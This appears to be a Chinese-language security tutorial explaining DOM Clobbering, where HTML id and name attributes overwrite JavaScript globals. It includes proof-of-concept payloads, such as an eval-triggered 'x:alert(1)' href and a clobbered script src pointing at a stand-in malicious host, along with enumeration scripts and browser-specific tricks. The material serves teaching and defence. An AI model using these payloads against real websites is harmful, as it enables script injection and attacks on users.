很早就提出的攻擊技巧了,都差不多忘記了,再拿出來複習複習。

0x1 DOM Clobbering入門

之前在文章《前端中存在的變量劫持漏洞》中對id已經有了一些認識,我們知道有如下知識:

<input id=username>

想在javascript中通過獲取到此dom節點,出來使用 document.getElementById('username')document.querySelector('#username') 之外還可以直接使用 window.username 來獲取。

這個特性就被稱爲 DOM Cloberring ,可以造成很多有意思的漏洞,比如當程序依賴某些全局變量是否存在做某些分支跳轉的時候: if(window.isAdmin){ ... } .

爲了分析 DOM Clobbering 漏洞,假設我們有如下的代碼:

if (window.test1.test2) {
    eval(''+window.test1.test2)
}

想利用 Dom Clobbering 技巧來執行任意的js,首先需要解決兩個問題。

[object HTMLInputElement]

爲了解決第一個問題,我們很容易就想到 <form> 標籤,因爲每一個 <input> 標籤的都會添加爲它之上的 <form> 標籤的屬性,屬性的名字就是 <input> 標籤中聲明的 name 屬性,下面舉一個例子:

<form id=test1>
  <input name=test2>
</form>
<script>
  alert(test1.test2); // alerts "[object HTMLInputElement]"
</script>

爲了解決第二個問題,我們用一段小代碼HTML可能存在的所有標籤,然後check對應的dom節點對象有沒有實現 toString 方法,或者直接繼承於 Object.prototype 。如果是繼承自 Object.prototype ,那麼很有可能只會返回 [object SomeElement]

Object.getOwnPropertyNames(window)
.filter(p => p.match(/Element$/))
.map(p => window[p])
.filter(p => p && p.prototype && p.prototype.toString !== Object.prototype.toString)

執行完成後會返回兩個屬性, HTMLAreaElement ( <area> ) and HTMLAnchorElement ( <a> ),下面只說一下 <a> 標籤吧( <area> 標籤類似)。 <a> 標籤的 toString 會直接返回它的 href 屬性。

<a id=test1 href=https://securitum.com>
<script>
  alert(test1); // alerts "https://securitum.com"
</script>

此時把上面的兩個問題放到一塊解決,可能會想出這樣的方式:

<form id=test1>
  <a name=test2 href="x:alert(1)"></a>
</form>

但是並不行, test1.test2undefined ,因爲 <input> 元素會變成 <form> 的屬性,但是 <a> 標籤並不會。

解決這個問題有個很有意思的方法,就是定義兩個元素擁有一樣的id:

<a id=test1>click!</a>
<a id=test1>click2!</a>

我預期的是 window.test 會返回第一個 <a> 標籤(因爲 document.getElementById('#test1') 就會返回第一個),但是確實一個HTMLCollection

>window.test1
<HTMLCollection(2) [a#test1, a#test1, test1: a#test1]
length: 2
0: a#test1
1: a#test1
test1: a#test1
__proto__: HTMLCollection

這裏就有一個很有意思的點, HTMLCollection 可以使用index進行訪問,同時可以使用id訪問,也就是 window.test1.test1 獲取到的就是第一個元素。事實證明name屬性也會直接註冊爲 HTMLCollection 的屬性。

<a id=test1>click!</a>
<a id=test1 name=test2>click2!</a>
> window.test1
< HTMLCollection(2) [a#test1, a#test1, test1: a#test1, test2: a#test1]length: 20: a#test11: a#test1test1: a#test1test2: a#test1__proto__: HTMLCollection
> window.test1.test2
<a id="test1" name="test2">click2!</a>

所以我們就可以利用下面的方法輕鬆解決之前的 eval(''+window.test1.test2) 的問題了。

<a id="test1"></a><a id="test1" name="test2" href="x:alert(1)"></a>

0x2 一個簡單的練習

<script>
 window.onload = function(){
    let someObject = window.someObject || {};
    let script = document.createElement('script');
    script.src = someObject.url;
    document.body.appendChild(script);
 };
</script>

爲了利用這個漏洞,只需要向html中添加如下內容就可以了。

<a id=someObject><a id=someObject name=url href=//malicious-website.com/malicious.js>

0x3 進階

找出所有id具有父子依賴關係的節點。實現代碼很簡單,如下所示:

        var log=[];
var html = ["a","abbr","acronym","address","applet","area","article","aside","audio","b","base","basefont","bdi","bdo","bgsound","big","blink","blockquote","body","br","button","canvas","caption","center","cite","code","col","colgroup","command","content","data","datalist","dd","del","details","dfn","dialog","dir","div","dl","dt","element","em","embed","fieldset","figcaption","figure","font","footer","form","frame","frameset","h1","head","header","hgroup","hr","html","i","iframe","image","img","input","ins","isindex","kbd","keygen","label","legend","li","link","listing","main","map","mark","marquee","menu","menuitem","meta","meter","multicol","nav","nextid","nobr","noembed","noframes","noscript","object","ol","optgroup","option","output","p","param","picture","plaintext","pre","progress","q","rb","rp","rt","rtc","ruby","s","samp","script","section","select","shadow","slot","small","source","spacer","span","strike","strong","style","sub","summary","sup","svg","table","tbody","td","template","textarea","tfoot","th","thead","time","title","tr","track","tt","u","ul","var","video","wbr","xmp"], logs = [];
div=document.createElement('div');
for(var i=0;i<html.length;i++) {
  for(var j=0;j<html.length;j++) {
    div.innerHTML='<'+html[i]+' id=element1>'+'<'+html[j]+' id=element2>';
    document.body.appendChild(div);
    if(window.element1 && element1.element2){
       log.push(html[i]+','+html[j]);
    }
    document.body.removeChild(div);
  }
}
console.log(log.join('\n'));

最後的輸出是:

form,button
form,fieldset
form,image
form,img
form,input
form,object
form,output
form,select
form,textarea

所以向要生成 x.y.value 可以使用如下的方式:

<form id=x><output id=y>I've been clobbered</output>
<script>
alert(x.y.value);
</script>

使用form標籤可以來僞造三層的對象引用

<form id=x name=y><input id=z></form>
<form id=x></form>
<script>
alert(x.y.z)
</script>

當form標籤有兩個一樣的id的input標籤的的時候,chrome會把input標籤處理成爲 [object RadioNodeList] ,這個對象有類似於數組的方法如forEach:

<form id=x>
<input id=y name=z>
<input id=y>
</form>
<script>
x.y.forEach(element=>alert(element))
</script>

因爲只有html規範中定義的屬性才能註冊爲dom節點的屬性,下面的例子就可以說明。

<form id=x y=123></form>
<script>
alert(x.y)//undefined , y不是html規範定義的form的屬性。
</script>

所以我們可以利用如下的代碼來看一下我們都有哪些可以用的屬性:

var html = ["a","abbr","acronym","address","applet","area","article","aside","audio","b","base","basefont","bdi","bdo","bgsound","big","blink","blockquote","body","br","button","canvas","caption","center","cite","code","col","colgroup","command","content","data","datalist","dd","del","details","dfn","dialog","dir","div","dl","dt","element","em","embed","fieldset","figcaption","figure","font","footer","form","frame","frameset","h1","head","header","hgroup","hr","html","i","iframe","image","img","input","ins","isindex","kbd","keygen","label","legend","li","link","listing","main","map","mark","marquee","menu","menuitem","meta","meter","multicol","nav","nextid","nobr","noembed","noframes","noscript","object","ol","optgroup","option","output","p","param","picture","plaintext","pre","progress","q","rb","rp","rt","rtc","ruby","s","samp","script","section","select","shadow","slot","small","source","spacer","span","strike","strong","style","sub","summary","sup","svg","table","tbody","td","template","textarea","tfoot","th","thead","time","title","tr","track","tt","u","ul","var","video","wbr","xmp"];//HTML elements array
var props=[];
for(i=0;i<html.length;i++){
  obj = document.createElement(html[i]);
   for(prop in obj) {
    if(typeof obj[prop] === 'string') {
      try {
        props.push(html[i]+':'+prop);
      }catch(e){}
    }
   }
}
console.log([...new Set(props)].join('\n'));

前面的代碼展示了是string類型的屬性,但是他們並不一定都是可以操作的,爲了檢查他們是否是可讀可寫的,需要用下面代碼:

    var props=[];
    DOM =document.getElementById("content");

    for(i=0;i<html.length;i++){
        obj = document.createElement(html[i]);
        for(prop in obj) {
            if(typeof obj[prop] === 'string') {
                
            try {
                DOM.innerHTML = '<'+html[i]+' id=x '+prop+'=1>';
                    if(document.getElementById('x')[prop] == 1) {
                        props.push(html[i]+':'+prop);
                }
                }catch(e){
                                            
                }
            }
        }
    }
console.log([...new Set(props)].join('\n'));

在這些DOM屬性中有兩個有意思的屬性分別是”username”和”password”,他們是 <a> 標籤的DOM節點的屬性,但是並不是html中定義的屬性,好像並不能通過html屬性控制。

這兩個屬性可以通過url的中的username字段和password字段提供。但是需要注意一定需要有 @ 符號

<a id=x href="ftp:Clobbered-username:Clobbered-Password@a">
<script>
alert(x.username)//Clobbered-username
alert(x.password)//Clobbered-password
</script>

用http協議也可以,但是需要添加 //

<a id=x href="http://Clobbered-username:Clobbered-Password@a">
    <script>
    alert(x.username)//Clobbered-username
    alert(x.password)//Clobbered-password
    </script>

需要注意一點,如果依賴於 <a> 標籤的 toString 函數將dom對象轉換爲字符串,獲取的字符串總是經過url編碼的,例如下面這樣:

<a id=x href="http:<>">
    <script>
    alert(x) //http://myip:8888/%3C%3E
    </script>

此時可以利用一些根本不存在的協議來繞過:

<a id=x href="abc:<>">
    <script>
    alert(x)//abc:<>
    </script>

Firefox瀏覽器允許在base標籤中定義協議,然後在a標籤中使用,能夠獲取到未經過urlencode的數據

<base href=a:abc><a id=x href="Firefox<>">
    <script>
    alert(x)//Firefox<>
    </script>

chrome瀏覽器也可以實現類似的效果,但是獲取的值在base標籤的href屬性中。

<base href="a://Clobbered<>"><a id=x name=x><a id=x name=xyz href=123>
<script>
alert(x.xyz)//a://Clobbered<>
</script>

0x4 獲取三級以上的對象引用

使用iframe的srcdoc屬性可以創建任意層數的對象引用。

<iframe name=a srcdoc="
<iframe srcdoc='<a id=c name=d href=cid:Clobbered>test</a><a id=c>' name=b>"></iframe>
<script>setTimeout(()=>alert(a.b.c.d),500)</script>

當時上面有一個問題,就是必須使用 setTimeout 設置一個延遲以保證iframe加載完畢。這裏好的辦法是利用style/link標籤導入一個外部的樣式表來創造一個小的延遲:

<iframe name=a srcdoc="
<iframe srcdoc='<a id=c name=d href=cid:Clobbered>test</a><a id=c>' name=b>"></iframe>
<style>@import '//portswigger.net';</style>
<script>
alert(a.b.c.d)
</script>
相關文章